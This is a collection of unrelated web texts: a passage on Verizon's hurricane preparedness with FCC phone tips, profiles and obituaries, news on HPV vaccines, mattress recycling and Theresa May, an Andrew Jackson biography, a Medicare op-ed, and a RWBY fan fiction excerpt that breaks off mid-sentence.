of concrete and rebar for extra strength. Because of flooding and possible land damage caused by hurricanes, the locations have dual entrance for transport, meaning fiber enters the facility in two distinct locations to ensure additional redundancy in case one entrance is damaged. Additionally, because commercial power loss is often associated with hurricanes and tropical storms, the Florida Super Switches have dual on-site generators and redundant AC.  Power is one of the main focuses for Verizon’s preparedness. All of the network switches have two huge generators big enough to power the site, so even if one is defective or gets damaged, it won’t cause a failure. Perreault told me that one of the first things Verizon does to prepare for a specific disaster is to top off all the generators with fuel, and it stays in touch with local government to make sure that after a disaster, fuel can get to the switch quickly to keep it running.  The cell sites themselves all have backup batteries that are capable of running the site for hours without commercial power, which gives Verizon enough time to get a generator on site. Because of the physical construction of a cell site, they’re more vulnerable, and some damage to them is “unavoidable.” While they’re being fixed, Verizon has temporary cell sites — antennas on the end of a big telescoping pole — it can deploy to keep coverage up and running.  That’s just the tip of the iceberg for Verizon’s weird emergency machines. It has Cells on Wheels (COWs), Cells on Light Trucks (CoLTS), HVACs on Roadside Equipment (HORSEs), Generators on a Trailer (GOATs), Repeaters on a Trailer (RATs) and Cell Repeaters on Wheels (CROWs), all lovingly stored in a “farmyard.”  Equipment and the physical location is only part of the equation, however. Perreault and his team train to deal with disasters and emergencies all the time. “It’s nothing new for us…we drill, we’ll do tests where I wake up one morning, roll out of bed, and tell my team that a tornado’s rolled through the area and taken out five cell sites.”  Verizon also works with first responders on emergency scenarios to show how they can proactively help with the response to an emergency. Back in June, Verizon ran an exercise with a bunch of different scenarios, including an F4 tornado with major casualties, flooding of a residential neighborhood, a building collapse at a chemical factory, a subway terror attack, and an active shooter/hostage situation. In all of those cases, it had firefighters and police working alongside Verizon’s engineers to show how technology — like a drone flying overhead providing cell service — can make a difference.  As well as the network prepping for the hurricane, individual users need to think and plan ahead. The FCC publishes a few easy tips to help prepare:  Know what type of landline telephone service you have. Some newer forms of telephone service will not work without electric power. Understand whether you have this newer type of service, such as Voice over IP (VoIP), which is provided over broadband connections, or more traditional telephone service, which typically is powered over copper telephone lines. Ask your service provider if you are unsure. If you have newer telephone service that works with battery backup equipment during power outages,test the battery periodically, understand how long it should last, learn how to replace it, and consider having a spare battery that you can charge before a storm. If you do not have battery backup equipment, ask your provider if they can supply it or if it is available elsewhere. If your electricity goes out and you don’t need to use the phone right away, you can disconnect the battery to prevent it from draining and plug it back in when you need to receive or make calls. Once power is restored, plug the battery back in so it can recharge.  that works with battery backup equipment during power outages,test the battery periodically, understand how long it should last, learn how to replace it, and consider having a spare battery that you can charge before a storm. If you do not have battery backup equipment, ask your provider if they can supply it or if it is available elsewhere. If you have traditional telephone service, it may work during electric power outages – but you may need to use a “corded” phone. Remember that many cordless home phones rely on electric power to operate. Charge your wireless phone if a storm is coming. Also consider keeping an extra battery and a car charger on hand. Charge your laptop or tablet computer if a storm is coming. If your electricity goes out but secure WiFi is available in your community, you may be able to use your computer or tablet to go online and send emails. You may also be able to use the battery power in these devices to recharge your wireless phone using a USB cable, but be careful not to drain the battery power of your computer or tablet if you need to go online. Broadcasters are an important source of news during emergencies, so consider keeping a battery-operated, solar-powered, or hand-crank-operated radio or digital portable television for use during power outages.Make sure you have charged or fresh batteries if needed. Some hand-cranked radios can also be used to charge cell phones, but check the instruction manual before assuming this is the case.During an emergency: Limit non-emergency phone calls. This will minimize network congestion, free up “space” on the network for emergency communications, and conserve battery power if you are using a wireless phone. If you do need to make a call, try to keep it brief and only convey vital information to emergency personnel and/or family. For non-emergencies, try text messaging from your wireless phone. In many cases, text messages to other wireless devices will go through when your call may not, though there may be a delivery delay during times of network congestion. (In most locations you cannot send a text message to 911, however.) Adjust your wireless phone. Check your wireless device or manual for ways to conserve battery power, such as dimming the brightness of your display screen and disabling certain applications. If you have difficulty accessing your wireless network, consider connecting to WiFi service if your phone is WiFi-capable. If the wireless network in your area is damaged and you do not see any signal bars on your phone, consider turning your phone off to prevent the battery from draining as your phone seeks a usable wireless signal. Call 911 only for emergencies. Learn and use the designated number in your state for highway accidents or other non-life-threatening incidents. Wait 10 seconds before redialing a call. Redialing a wireless call multiple times in quick succession can increase network congestion, further limiting the ability of all users to place calls. If you must make a call, space out your call attempts. If you have call forwarding on a landline phone at home, consider forwarding those calls to your wireless number, particularly in the event of an evacuation, so that you can continue to receive incoming calls to your home telephone number; and If you do not have electric power in your home and are using your car to charge wireless phones or listen to news on the car radio, be careful. Don’t try to reach your car if it is not safe to do so, and remain vigilant about carbon monoxide emissions from your car, especially if it is in a closed space.
-When most people see the name Jack Daniels, they picture a whiskey bottle. But runners will think about the renowned coach and exercise physiologist. At 81, Daniels has had a bigger influence on training-for-running than anyone.  Indeed, he might be considered the Albert Einstein of the sport. His 1998 book, Daniels' Running Formula, unlocked the mystery of appropriate training paces for runners of all abilities. His philosophy was simple: Do the minimum amount of work for the maximum payoff.  Daniels attended Sequoia Union High School in Redwood City, California, and found he was drawn to the school's competitive fitness programs. After a stint in the Army, and between two Olympic medals—silver and bronze—as a member of the men's U.S. modern pentathlon team, he attended a sports-coaching school in Sweden. He decided to make exercise physiology his career and returned to the States to write his Ph.D. thesis on exercise and altitude.  Thank goodness he did. When it was announced that Mexico City would host the 1968 Olympics, the first Summer Games to be held at altitude—7,350 feet above sea level—American runners needed a crash course. "Jack was the only one who knew anything about the physiology of altitude exercise," says the great American miler Jim Ryun. "Everyone else said the altitude was all in our heads. Without Jack, we couldn't have performed as well as we did." Ryun won silver in the 1500 meters.  Years later, Daniels was running a Nike research lab when a panicked Joan Benoit showed up. She'd just had arthroscopic knee surgery, couldn't put weight on the leg, and was worried about losing fitness before the 1984 Olympic Marathon Trials, just two weeks off.  Daniels told her to lie down on the lab treadmill, face up. He then suspended an exercise bike, upside down, from the ceiling, and told her to pedal it with her arms. "It didn't do her legs any good," he says, "but it got her heart rate up, and was mainly for her head." Benoit recovered to win both the Olympic Trials and the first women's Olympic Marathon.  It was in the 1980s that Daniels began a 17-year stretch of coaching and teaching at SUNY Cortland. His athletes won 130 Division III All-American awards. While he's continued working with elites, working with college kids has brought him as much or even more satisfaction. One of his runners, Vicki Mitchell, began her Cortland career as a 2:39 800-meter runner. By the end, she ran 2:31 for the last 800 of a 10,000-meter win in 33:01. "Runners with less talent have more room for improvement," says Daniels. "How much fun is that?" These days, he teaches online classes for A.T. Still University and coaches part time at Wells College in New York.  With his penchant for numbers, you might think Daniels is an aggressive taskmaster. Nope. He's soft-spoken, a gifted storyteller, and a believer that less often is more. "My runners are always telling me they can run faster than the paces I give them," he says. "I say, 'I know that, but we're not trying to run fast workouts. We're trying to run smart workouts that lead to fast races.'"  In September, two-time U.S. Olympic marathoner Ryan Hall announced he would be coached by Daniels. Hall hopes to bounce back from several sub-par years. "My dad and I first met Jack at a Jim Ryun Running Camp in 1999," says Hall. "The next year, with our new training knowledge, I dropped to 4:05 in the mile. I'm confident he can get me back as a runner."  How will Daniels do that? "The key is to help Ryan believe he still has the talent he's always had. My job is to provide an environment where we don't do anything stupid, and where we bring Ryan back to his full potential."  Don't do anything stupid. Wise words from running's Einstein.  ***  Read more inspiring stories from the runners who are changing the sport in the Heroes of Running: 2015.  And check out Amby Burfoot's 2011 one-on-one interivew with Daniels on everything from running form to lactate threshold:  ​
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-Although Black women are twice as likely as White women to die from cervical cancer, Human Papillomavirus (HPV) vaccination may not prevent cervical cancer in African-American women, according to a new study.  The available vaccines only protect against four strains of HPV, which, according to this study from the Duke University School of Medicine, African-American women are half as likely as White women to carry.  The American Cancer Society expects more than 12,000 women to be diagnosed with cervical cancer this year alone. Incidence rates have been falling for all women as screenings have become more routine, but the rate of infection for Black women is the second highest (after Latinas) – and it’s still 39 percent higher than their White counterparts.  Black women have been significantly more likely than any other group to die from cervical cancer.  The study examined 280 Black women and 292 White women, all carrying varying HPV strains – some had no signs of cancer, some showed mild signs of pre-cancer, and a small percentage had advanced precancerous abnormalities. In the group with the most advanced signs of pre-cancer, White participants carried strains 16, 18, 33, 39 and 59, whereas Black participants carried strains 31, 35, 45, 56, 58, 66 and 68.  Currently, two vaccines on the market target four HPV strains considered most troublesome. Gardasil, which is produced by Merck and can be administered to anyone age 9 through 26, protects against strains 16, 18, 6 and 11. Cervarix, by GlaxoSmithKline, is available only for girls and women and targets strains 16 and 18. (The vaccines also protect against less-common genital cancers in both men and women).  “Compared with white women, we saw that African-American women had about half as many infections with HPV 16 and 18, the subtypes that are covered by HPV vaccines,” said study co-author, Adriana Vidal. “Since African-American women don’t seem to be getting the same subtypes of HPV with the same frequency, the vaccines aren’t helping all women equally.”  The vaccines are based on these strains because strains 16 and 18 are found in 70 percent of cervical cancer cases, while strains 6 and 11 are associated with 90 percent of genital warts cases, according to the National Cancer Institute. However, studies have a long-documented history of overlooking the need for diverse participants in pharmaceutical and medical trials.  HPV is a common virus that is easily spread by skin-to-skin contact. It is possible to have HPV without knowing it, so it is possible to unknowingly spread HPV to another person, according to the CDC.  There are more than 100 strains of the human papillomavirus and they can affect several parts of the body. Most strains are minor threats to a healthy immune system, which can naturally terminate an infection over time. Though the virus can cause warts, most people who become infected exhibit no symptoms.  More than 40 strains of HPV are specifically passed through sex. It’s the most common sexually transmitted disease in the United States, and the Center for Disease Control says that most sexually active people will contract at least one type in their lifetime.  Duke University’s study is limited by its sample size. But if it reflects a larger trend: African American women are much less likely as White women to carry these forms of the virus and are thus less protected from the cancers they cause.  Many researchers have been closely following the data to see if the vaccines are actually affecting HPV infection rates.  A study published this past June 2013 in The Journal of Infectious Diseases has compared HPV rates among girls age 14 through 19 from before Gardasil hit shelves (2003-2006), and after (2007-2010). Between the time periods, infection rates were cut in half for strains 16 and 18, nearly eliminated for strains 6 and 11, and trimmed for milder, less common strains. The results are being touted as proof that the vaccines are indeed curbing HPV among teens, and by extension, will curb cervical cancer in the future.  But for whom?  In the case of high-risk strains that aren’t covered by the vaccine – such as 35, 66, and 68, the strains most prevalent in Black women – the report states the decline was too miniscule to be statistically relevant. These strains aren’t even pictured on the study’s dramatic-looking bar graph. To be fair, though, the low-risk strains prevalent in Black women also saw major declines.  This study’s population was reflective of American demographics. Additionally, sexually active, unvaccinated girls were included – 20 percent were African American, 56 percent White, and 23 percent “Other.”  Neither Merck nor GlaxoSmithKline has addressed the lack of coverage for HPV strains prevalent in African American women, though neither company has ever addressed public and legislative controversy surrounding the HPV vaccine.  Merck is currently testing an updated HPV vaccine that fights nine dangerous strains instead of four (6, 11, 16, 18, 31, 33, 45, 52 and 58). Although their preliminary study results are promising, the disparity will likely remain.  “The most disconcerting part of this new vaccine is it doesn’t include HPV 35, 66 and 68, three of the strains of HPV of which African-American women are getting the most,” said study co-author, Cathrine Hoyo. “We may want to rethink how we develop these vaccines, given that African-Americans tend to be underrepresented in clinical trials.”  Also On Atlanta Daily World:
-They’re bulky, springy, and a challenge to compress, making them notoriously hard to discard.  Mattresses have long been the bane of landfills, where they take up a disproportionate amount of space. Their metal coils also damage shredding equipment that breaks up trash before it’s burned at incinerators.  Now, with landfills in Massachusetts rapidly running out of space and municipalities paying higher prices to dump their garbage, environmental officials are prodding cities and towns to recycle many of the estimated 600,000 mattresses that state residents trash every year.  Advertisement  “We want municipalities to treat mattresses like recycling an aluminum can, so they see why it would be a waste to throw them away,” said Greg Cooper, who oversees recycling for the state Department of Environmental Protection.  Get Metro Headlines in your inbox: The 10 top local news stories from metro Boston and around New England delivered daily. Sign Up Thank you for signing up! Sign up for more newsletters here  About 85 percent of the contents of a mattress and its box springs — the coils, foam, cotton, wood — can be recycled.  In an effort to spur a new recycling market and to save municipalities money, environmental officials soon plan to announce about $500,000 in grants to help cities and towns start mattress-recycling programs. This summer, they signed contracts to pay three companies up to $13 per mattress to collect the old beds and recycle them.  About two-thirds of the state’s discarded mattresses are now collected and shipped out of state by companies that deliver new beds to customers and take away their old ones. That leaves about 200,000 a year unloaded at the state’s landfills and incinerators, officials say. Within five years, they expect at least 50,000 of those to be recycled in Massachusetts.  As many as 20 million mattresses and box springs are discarded every year in the United States, about half the number that are sold, according to the Mattress Recycling Council, a Virginia-based nonprofit created by the mattress industry.  Advertisement  Mattress companies used to burn old beds in bonfires. Now, they dispose of about half of their old mattresses in incinerators or ship them to states with less-expensive landfills. They refurbish the rest for resale or donate them to charities.  In recent years, states have pushed companies to recycle more of their old mattresses.  In May, Connecticut became the first state to require companies to collect a fee on every sale of a mattress or box spring to subsidize a statewide recycling program. Next year, California and Rhode Island will start similar programs, and other states are considering comparable laws.  “The mattress industry has been looking at recycling for a long time, but it’s taken a while to get to the point where the cost of the labor to break them down makes sense,” said Amanda Wall, a spokeswoman for the Mattress Recycling Council.  Recycling companies face significant costs.  Advertisement  Officials at UTEC, one of the three contractors hired by the state, said they would need to recycle 40,000 mattresses to break even. That is many times more than they collected last year, when UTEC started its program and lost money. The nonprofit youth organization expects to break even by 2017, especially if it can expand its supply by working with colleges, hotels, and hospitals.  ‘We think it’s the right thing to do for the environment, while providing meaningful jobs to our young people.’ Gregg Croteau, executive director of UTEC  “We think it’s the right thing to do for the environment, while providing meaningful jobs to our young people,” said Gregg Croteau, executive director of UTEC.  In Massachusetts, officials hope the grants and new contracts will generate enough volume to make mattress recycling a viable business and boost the state’s relatively low recycling rate. The state recycles only about 45 percent of its commercial and residential waste.  They expect cities and towns to recognize the financial benefits of recycling, especially because landfills charge a premium for dumping bulky items like mattresses.  Recycling more mattresses would also help curb greenhouse gases, according to a 2012 study by the State of California. Most of that environmental benefit comes from reusing the metal springs as scrap metal, converting the polyurethane foam into carpet padding, and shredding the wood frames of box springs into mulch.  Massachusetts has some of the highest solid waste disposal rates in the country — between $55 and $80 a ton, compared with a national average of $45 a ton — and the fees are expected to rise as landfills run out of space. In just the past three years, the state’s landfill capacity has dropped nearly 30 percent. Over the next five years, state officials expect the landfill capacity to drop by more than half.  “Mattresses are a real problem for municipal solid waste management,” Cooper said. “It’s expensive to throw mattresses away.”  Cambridge is one of the nearly 50 municipalities in Massachusetts that have sought one of the state grants to set up a mattress recycling program. Officials there hope to cut thousands of dollars from their trash costs by recycling an estimated 2,500 mattresses and 1,250 box springs a year.  Like much of the area, Cambridge experiences a surge in discarded mattress at this time of year, when students return and many rental apartments change hands. Residents are allowed to throw out one mattress a week, which garbage trucks haul away with the rest of the trash.  If they receive a state grant, the money would pay for their recycling program for two years, at most. Afterward, officials plan to charge residents $25 to trash mattresses, as they do with refrigerators and other bulky waste, said Randi Mail, the city’s recycling director.  One of the state’s first mattress recycling programs has been running since last year in Newburyport, where an average of 35 mattresses a month are recycled. City officials expect to save an estimated $4,000 this year.  The city charges residents $10 to have a company collect mattresses from outside their homes or at the city’s recycling center. Residents are charged $15 for trashing them.  Now, Newburyport recycles nearly twice as many mattresses as it sends to landfills.  Molly Ettenborough, city recycling manager, said there have been other benefits. “We used to find mattresses abandoned on the side of roads,” she said. “Now we don’t.”  Joanne Rathe/Globe Staff Workers at the Lawrence facility of UTEC, a nonprofit youth organization, must take apart mattresses in order to prepare them for recycling.  David Abel can be reached at dabel@globe.com . Follow him on Twitter @davabel
-Image copyright EPA Image caption The prime minister is a regular visitor to Sirmione on Lake Garda  Theresa May led holidaymakers in a rendition of the national anthem while staying in an Italian hotel.  The prime minister and her husband Philip stood up and took part in a singalong of God Save The Queen at the Villa Cortine Palace Hotel in Lombardy.  The story, first reported by the Sun, has been confirmed by Downing Street.  The newspaper reported that the PM was so pleased by pianist Davide Foroni's performance that she gave him a pair of No 10 cufflinks.  The prime minister and her husband, who are on a three-week walking holiday in Italy and Switzerland, are believed to be regular guests at the five-star hotel on Lake Garda.  The Sun reported that Mrs May was among several guests to stand up when the pianist played the national anthem in the hotel bar.  The newspaper quoted Mr Foroni as saying: "As soon as the first notes started, she was on her feet with her husband proudly singing along. Everyone stood. There was a mixture of nationalities. The British guests sang the words as well and at the end everyone clapped."  Mr Foroni said that afterwards he had discussed music with the PM, revealing that her tastes were "more classical than contemporary".  "She likes Whitney Houston, The Beatles and Elton John and classics like Mozart," he added.  The director of the hotel, located in the town of Sirmione, told the newspaper that Mr Foroni was a "firm favourite" of guests.
-and  "My Little Pony: Friendship Is Magic" © Lauren Faust and Hasbro Studios  Character © Goes to Their Respective Owners, image © StePanda aka StePandy 2015  It took me a while to finish this pic, because in summer (i want to remember you) i’m really busy with the preparation for Lucca Comics, an italian comic convention. Now i’m working on my own comics that will be brought to this convention.I traced the umbrella from a photo to save time This pic is made as a challenge organized by me and other two friends/colleaguesBelow you can find the complete pic with background and all the drawings from various artists:And here you can see the peeping’s rock:This challenge was organized by our group of artists, many of which are italian.
-SOUTHGATE, Ky. -- Former U.S. senator and baseball Hall of Fame pitcher Jim Bunning has died, WCPO news partner Fort Thomas Matters reports.  He was 85 years old.  According to Bunning's family, he died shortly before midnight Friday. He'd suffered a stroke in October.  A visitation is planned at Muehlenkamp-Erschell Funeral Home in Fort Thomas, on June 2 from 2 to 8 p.m. His funeral mass will be Saturday, June 3, at 10 a.m. at Catherdral Bascilica of the Assumption in Covington.  Heaven got its No 1 starter today. Our lives & the nation are better off because of your love & dedication to family. pic.twitter.com/qkCjHIM32E — David Bunning (@horstmuhlmann) May 27, 2017  Born in Southgate in 1931, Bunning graduated from Cincinnati's St. Xavier High School in 1949 and received a bachelor's degree in economics from Xavier University in 1953.  Bunning and teammates  He played baseball professionally from 1955 to 1971, mostly with Detroit and Philadelphia. With the Phillies, he pitched a perfect game against the Mets in Shea Stadium on June 21, 1964. It was the first perfect game in the National League in the 20th century, according to the National Baseball Hall of Fame's website .  It also was Father's Day, and Bunning's wife and oldest daughter were there to see it.  "A perfect game is a freaky thing," Bunning told WCPO's Greg Noble in 2015, leading up to that summer's All-Star Game in Cincinnati.  RELATED: Bunning's fame started with All-Star Games  Bunning won in 224 games during his career and was an eight-time All-Star. He was inducted into the National Baseball Hall of Fame in 1996.  In national politics, Bunning, a Republican, spent more than two decades representing Kentucky in Washington. He served six terms in the U.S. House of Representatives and two in the Senate, where he was considered one of the most conservative legislators.  In contrast to his stellar baseball career, TIME once listed him among America's worst senators , citing his hostile behavior toward staff and a lack of interest in policy beyond professional baseball.  Bunning decided not to run for re-election in the 2010 race, instead endorsing tea party favorite and current U.S. Sen. Rand Paul for the seat.  Mark Collier, publisher and editor of WCPO news partner Fort Thomas Matters, contributed to this report. Read his story here .
-Andrew Jackson, the seventh US President (1829-1837), began life on March 15, 1767 in a log cabin on the frontier between the Carolinas. He was the first President not born of wealth, a fact that was not missed by the common people, who loved him. In addition to his presidency, Jackson was known for his military successes and for laying the groundwork for the modern Democratic Party. Because of his toughness and his fiery iron will, he was given the nickname "Old Hickory."  Although he was known as a man of the people, Jackson believed in and promoted slavery and took millions of acres of land from Native Americans. In spite of his popularity, his policies did little to improve the lives of working Americans. Jackson's father died days before his birth. One brother was killed in the Revolutionary War, while his other brother and mother died of smallpox. At the age of fourteen, Jackson was orphaned. His grandfather had left him an inheritance of $300, which Jackson used to study law. Later he moved to Nashville, Tennessee, where he began a practice. In 1791 he married Rachel Robards, who, although she thought she was divorced, was still married to someone else. The Jackson marriage was re-consecrated when Rachel's divorce was legal.  In 1796 Andrew Jackson was elected as Tennessee's delegate to the United States House of Representatives. The next year he was called upon to fill the unexpired term of his state's Senator. In 1798 he retired to private life, vowing never to return to politics. Within a few years he was appointed a state superior judge, and from 1804-1812 he worked on his plantation, the Hermitage, raising horses. He was known as a man with a fast temper and was often drawn into fights and duels, many of them over comments about the irregularity of his marriage. In 1802 Jackson was a general of the Tennessee militia. Jackson fought in the Creek Indian Wars, during which he wrested twenty three million acres of land from tribal peoples. He was given the rank of major general by President Madison and commanded forces in the War of 1812. In 1815, with a mere 5,000 troops, he defeated a British force of 10,000 in the Battle of New Orleans, while sustaining only twenty losses. This was one of the worst British defeats in history, and it made Jackson a national hero. In 1818, he led an attack against the Seminole Indians and captured Pensacola, involving the United States in conflicts with both Spain and Britain. Jackson claimed that the British were using the town as a base, and he executed two Englishmen for inciting the Indians. His success in Florida influenced Spain to sell the territory to the United States. In 1819 John Quincy Adams completed the purchase of Florida, and in 1820, Jackson was appointed Governor. In 1823, he was elected Senator from Tennessee, and in 1824 the Tennessee legislature nominated Andrew Jackson for President. Although Jackson received the most votes, he lost the election. Because no candidate had received a majority of the votes, the contest was decided in the House of Representatives. John Quincy Adams was declared the winner amidst allegations that his Secretary of State, Henry Clay, had influenced the election in a "corrupt bargain".  After that unsuccessful bid, Jackson won the election of 1828 as a Democrat. He and Martin Van Buren were responsible for creating the political organization that was the basis for the modern Democratic Party. Andrew Jackson believed the presidency represented the will of the people, and, as such, should have broad authority. He was widely criticized for expanding the power of the presidency. He was known for rewarding his political supporters with government jobs. When reproached, he responded by claiming he was replacing aristocrats with the common man. It was Jackson who coined the phrase "To the victor go the spoils," and thus the spoils system of politics was born. The edge was taken off Jackson's victory when, shortly after the election, his wife died of a heart attack. Even though his supporters were wealthy landowners, bankers, and businessmen, to the public Jackson was "the peoples' President." He held meetings in the kitchen of the White House, and those present were called the Kitchen Cabinet. Jackson vetoed more bills than all previous Presidents combined. His denial of a bill to re-charter a Second Bank of the United States was an important issue in the 1832 election, in which he defeated Henry Clay. States Rights was a volatile issue until Jackson threatened to send federal troops into states that would not collect tariffs. Jackson used these monies to close the Second Bank and pay off the National Debt. Speculation in western lands caused Jackson to issue the Specie Circular, which required all public lands to be paid for with legal tender, which at the time was either gold or silver. This accelerated the Panic of 1837. Andrew Jackson was loved by the common people and, at the same time, hated by his political enemies, who sometimes referred to him as "King Andrew I." He was a great war hero who became associated with increasing participation of the common man in government; yet his enemies in the Senate accused him of being dictatorial and acting in ways that were unconstitutional. They even voted to censure him, and he was the first President to receive such a rebuke. Jackson and his friends fought for three years before finally having all evidence of the censure removed from the Senatorial Record. Before the next President Martin Van Buren was sworn into office, Jackson saw that the run on the banks leveled out and did not wipe out the country as anticipated. He was more popular when he left the presidency than he had been when he was elected. His legacy may not match that of the greatest Presidents, but he did strengthen the two-party system through his shrewdness. He also proved that being a common man and a military figure are factors that attract voters.  Andrew Jackson died at his Hermitage plantation on June 8, 1845. Today his portrait is found on the twenty-dollar Bill.
-The AARP—formerly known as the American Association of Retired Persons—is shamelessly (and irresponsibly) trying to convince seniors to run to their members of Congress to prevent cuts to Medicare. Why? Because “we worked hard for those benefits; we earned them.”  Would that this were true! Reality is that promises to Medicare recipients vastly exceed the payroll taxes to be collected from those receiving them to the tune of $105 trillion!  Talking about trillions, tens of trillions, or hundreds of trillions of dollars makes most people’s eyes glaze over. It’s simpler to talk about individual Medicare recipients. Fortunately, researchers at the Urban Institute have done these difficult calculations and produced some eye-opening numbers. They have calculated the lifetime payroll taxes and lifetime benefits for both Social Security and Medicare, showing that the AARP claim that seniors have “earned” their Medicare is less than a half truth at best.  The reality is that a male earning an average wage over his lifetime will receive from Medicare lifetime benefits in retirement that amount to $180,000.[1] Lifetime Medicare taxes for this average male would have amounted to only $61,000. Thus, over a lifetime, such an individual would have “earned” through payroll taxes only about one-third of their Medicare benefits. For a female earning the average wage, the situation faces even great discrepancy. Because she will live longer, her lifetime benefits will amount to $207,000 even though she will have paid in the identical amount of payroll taxes over a lifetime. In short, she will collect $146,000 more in benefits than the taxes she paid into the Medicare trust fund.  The accompanying chart summarizes the net amount of Medicare benefits received by average earning seniors above and beyond their lifetime payroll tax contributions. As the data show, the problem is growing larger with each new cohort of seniors. The net benefit to seniors who retire in 2020 is roughly double the amount received by seniors who retired three decades before.  The situation is quite different for Social Security. The average earning male who retired in 2010 paid $300,000 in lifetime payroll taxes for Social Security, but will receive only $277,000 in lifetime benefits from that program. For females, the lifetime benefits ($302,000) almost exactly equal lifetime taxes. Thus, the AARP line of reasoning is much more accurate and applicable when discussing Social Security than Medicare.  Moreover, the disconnect between lifetime taxes paid and lifetime benefits is shrinking in the case of Social Security. That is, by 2030, the average-earning male will collect only 84 cents in Social Security benefits for every dollar paid in taxes. Even the average-earning female will collect only 90 cents per dollar of payroll taxes. In contrast, one-earner couples collect much more in benefits than the family breadwinner paid in taxes  In short, AARP is not contributing to an honest dialogue about our entitlements mess when it tries to mislead seniors into thinking they have already paid for their Medicare benefits. If this were true, the moral argument for making these promises sacrosanct would be more compelling. But since it is not true, it is perfectly reasonable (I would argue imperative) that policymakers not be bullied into avoiding some hard choices. There’s a raft of reasonable approaches that might be considered to begin chipping away at this enormous problem: raising the Medicare eligibility age to match that of Social Security is just one example.  Knowing that the average senior gets $3 in Medicare benefits for every dollar in payroll taxes does not point the way to any specific solution. But it should make crystal clear that the status quo is unsustainable. Seniors of today, tomorrow, and unborn generations all would be better served by our boldly tackling this problem sooner rather than later.  “We can do better” than following the advice of an advocacy group based on a very flawed premise. Let’s be honest: the surest path to destroying Medicare as we know it is to do nothing. The only way to preserve it for future generations is through major reforms. The fiscal cliff actually offers a terrific opportunity to stop kicking the can down the road and to instead begin putting ourselves on a more sustainable path for Medicare.  Footnotes  [1] All the figures shown are constant dollar (inflation-adjusted) estimates in 2012 dollars. They are present values calculated using a 2 percent real discount rate. This means that the value of a dollar paid next year is 2 percent less than a dollar of benefits paid today. The figures are calculated using the alternative fiscal scenario used by the Medicare actuary that take into account the current (long-standing) policy of canceling scheduled cuts in Medicare payment rates to physicians and other scheduled spending reductions that might compromise access to care for seniors. Readers are encouraged to read the full Urban Institute report for details.
-AN: So here it is, the moment that has been teased since chapter 4…I really hope it lives up to the hype.  Why did I agree to this?  That was the question that floated through Blake's mind as she tossed yet another blouse into what had become her; 'reject pile.' The pile was a large collection of different shirts, dresses, and blouses, all in varying colors and styles. What was alarming though, was the rate at which it grew as the Faunus sifted through her closet and dresser drawers which, at this point were half-empty. She had been at this for over an hour and had thus far found absolutely nothing that she deemed wearable for her dinner with Yang. Which was in, she checked her scroll, less than two-hours.  She tossed the handheld device over to her bed, not wanting to see its mocking digital-clock anymore. It was infuriating, how hard was it to find suitable clothes to wear out on a date?  Answer: Very.  She sighed as she placed her elbows down on the oak-dresser, her hands rubbing at her worn-out eyes. Maybe if I ask Yang nicely we can postpone, give me more time…She killed the idea before it fully formed. She couldn't do that, not when Yang had been so enthusiastic when she had agreed to the date earlier that morning.  She smiled softly as the memory played through her mind.  "Really?" Yang asked barely contained hope evident in her voice. "You'll go?"  "Yes," Blake had barely gotten the word out before Yang tackled her in a hug. Yang gave her a quick kiss as she pulled back, a smile that would rival the brightness of the sun on her face.  "Thank you, and don't worry! Tonight will be awesome!"  Blake didn't doubt that an evening with Yang would be ill-spent, if anything it would be as the blonde had so excitedly exclaimed; awesome.  "I just wish I had something to wear…"  Her eyes darted back to the pile of clothes that laid strewn about the floor, she sighed, head slamming down into the top of the dresser.  This is stupid; she thought as her head throbbed in a dull ache, Yang won't care what I'm wearing so long as I'm there. Blake knew that her thought was true, Yang in all honesty wouldn't care about what it was that she was wearing. But there in lied the rub, she knew Yang. She knew how Yang treated first dates and it was how the blonde treated practically everything else in her life.  Go big or go home.  That knowledge was what had the Faunus stressing out from the moment she had started to look through her wardrobe. She knew that Yang was going to go all out for tonight in an attempt to impress her and she wanted to do the same for her.  But how in the world do you dress to impress?  Blake had no idea.  She sighed again; she knew what she was going to have to do. Swallowing down what was left of her pride the Faunus turned towards her door, careful to sidestep the mountain of clothes that impeded her path.  She opened her door and cut left, heading down towards the living room mumbling to herself. "The things I'll do for Yang…"  "You want me to do what?" Weiss asked the question as she peered over the edge of the newspaper she had been reading at her Faunus teammate, her reading glasses having slid halfway down her nose.  Blake fidgeted in place, face red, her feline ears laid flat against her head another obvious sign of her embarrassment.  "I want you to help me pick out what to wear for my dinner with Yang…"  "That's what I thought you said," Weiss said as she folded the paper and placed it down onto the table, taking her glasses off she stored them away in their protective case. Only after the case snapped shut did she turn her gaze back to Blake. "Why come to me?"  "Simple, out of all of us you have the most experience with formal dinners an-"  Weiss laughed, "Please, I honestly doubt formal-business dinners are the same thing as going out on a dinner-date with Yang Xiao Long." When Weiss's eyes refocused on Blake the heiress was shocked to find the Faunus looking completely and utterly dejected. Realizing her mistake she quickly moved to make amends. "Look, Blake I didn't mean to laugh at you I was only just…"  "Please."  Weiss blinked, "What?"  Blake brought her eyes up then, amber iris's pleading silently with Weiss. "Please help. I'm not asking you to help with my make-up or hair, just the clothes. That's it."  Weiss's mouth worked wordlessly as she stared directly into her friends beseeching eyes, which in combination with her still pouty-Faunus ears gave her the exact look of a begging cat.  It's not fair; Weiss thought to herself, I live with a puppy, bear-cub, and a cat! And I'm in love with the puppy!  "Fine, I'll help," Weiss said after reclaiming her voice. "Just cut it out with the cat-eyes, I get enough of that kind of thing from Ruby!"  Blake did as told, her eyes and ears both perking up at Weiss's compliance, however reluctant. "Thanks, Weiss it means a lot."  "Yeah, whatever," Weiss said as she stood and walked over to where Blake stood in the threshold of the room, certain that she could see a smirk on her friends lips as they headed up stairs to her room. "Now show me what we've got to work with."  "So where are you guys going?"  Ruby asked the question as Yang finished putting the finishing touches on her hair. It had been a nightmare getting her wild and unruly mane in-line, but like always she had managed it. Yang observed herself in the mirror; maybe I should get a haircut… She shook her head, Nah.  She turned to face her sister. Ruby was sat on her bed, legs hanging over the side as she kicked them back and forth. "I've already told you, I'm not telling you."  "Oh come on!" Ruby pouted, "You guys are leaving in like fifteen minutes, I can keep my lips sealed for that long!"  Yang chuckled at her, "I'd believe you, but we both know that that isn't the case. And stop it with the puppy-eyes; we both know that I'm immune to your pout."  "I helped you pick out what to wear, the least you can do is tell me where you plan on taking her!"  Yang sighed, Ruby did have a point she had been very helpful.  "Fine, I'll tell you." She said, cutting Ruby off before she could cheer in victory, she quickly added on. "I swear though, if you spill the beans, I'll tell Weiss about your twelfth-birthday party."  Ruby gasped, "You wouldn't!"  Yang wished she had a camera to take a picture of the horrific expression that was on her sister's face. "Oh, but I would." She gave Ruby a wicked smile. "Are you still sure that you want to know?"  Yang loved her sister to death, she 